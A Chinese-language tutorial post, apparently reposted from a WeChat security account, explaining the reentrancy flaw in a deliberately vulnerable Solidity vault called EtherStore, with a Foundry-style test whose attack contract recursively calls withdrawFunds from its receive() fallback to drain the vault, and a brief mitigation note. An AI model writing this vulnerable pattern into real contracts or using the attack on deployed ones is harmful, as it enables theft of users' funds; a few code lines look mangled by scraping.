智能合约漏洞入门(4)可重入性漏洞

admin 2024年6月6日22:07:19评论21 views字数 2357阅读7分51秒阅读模式

描述:EtherStore可重入性漏洞是智能合约设计中的一个缺陷,它允许攻击者利用可重入性,从EtherStore合约中提取比他们有权获得的更多的资金。这个漏洞产生于EtherStore合约中的withdrawFunds函数,在那里以太币在更新他们的余额之前就被转移到攻击者的地址。这允许攻击者的合约在余额更新之前回叫withdrawFunds函数,导致多次提款,并可能耗尽EtherStore合约中的所有以太币

场景:EtherStore是一个简单的保险库,它可以管理每个人的以太币。但它是脆弱的,你能偷走所有的以太币吗?

缓解措施:遵循检查-效果-交互原则,并使用OpenZeppelin可重入性保护。

参考:

Introduction to Smart Contract Vulnerabilities: Reentrancy Attack

Consensys Smart Contract Best Practices: Reentrancy

EtherStore合约:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdrawpublic {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");

        // 检查在发送后是否仍然足够以避免下溢
        if (balances[msg.sender] >= _weiToWithdraw) {
            balances[msg.sender] -= _weiToWithdraw;
        }
    }
}

如何测试:

// 测试EtherStore的可重入性攻击漏洞的函数
function testReentrancy() public {
    // 执行攻击合约的攻击函数
    attack.Attack();
}

// 攻击EtherStore的合约
contract EtherStoreAttack is Test {
    // 要被攻击的EtherStore合约
    EtherStore store;

    // 构造函数初始化EtherStore合约
    constructor(address _store) {
        store = EtherStore(_store);
    }

    // 执行攻击的函数
    function Attack() public {
        // 记录EtherStore合约的余额
        console.log("EtherStore balance", address(store).balance);

        // 向EtherStore合约存入1个以太币
        store.deposit{value1 ether}();

        // 记录EtherStore合约的新余额
        console.log(
            "Deposited 1 Ether, EtherStore balance",
            address(store).balance
        );
        // 从EtherStore合约提取1个以太币,这是漏洞利用的点
        store.withdrawFunds(1 ether); 

        // 记录攻击合约的余额
        console.log("Attack contract balance", address(this).balance);
        // 记录EtherStore合约提款后的余额
        console.log("EtherStore balance", address(store).balance);
    }

    // 利用可重入性漏洞的回退函数
    receive() external payable {
        // 记录攻击合约的余额
        console.log("Attack contract balance", address(this).balance);
        // 记录EtherStore合约的余额
        console.log("EtherStore balance", address(store).balance);
        // 如果EtherStore合约的余额至少有1个以太币
        if (address(store).balance >= 1 ether) {
            // 提取1个以太币,这是回退函数中漏洞利用的点
            store.withdrawFunds(1 ether); 
        }
    }
}

红框:成功利用,耗尽了EtherStore。

智能合约漏洞入门(4)可重入性漏洞
EtherStore Draining

原文始发于微信公众号(3072):智能合约漏洞入门(4)可重入性漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月6日22:07:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约漏洞入门(4)可重入性漏洞https://cn-sec.com/archives/2822726.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息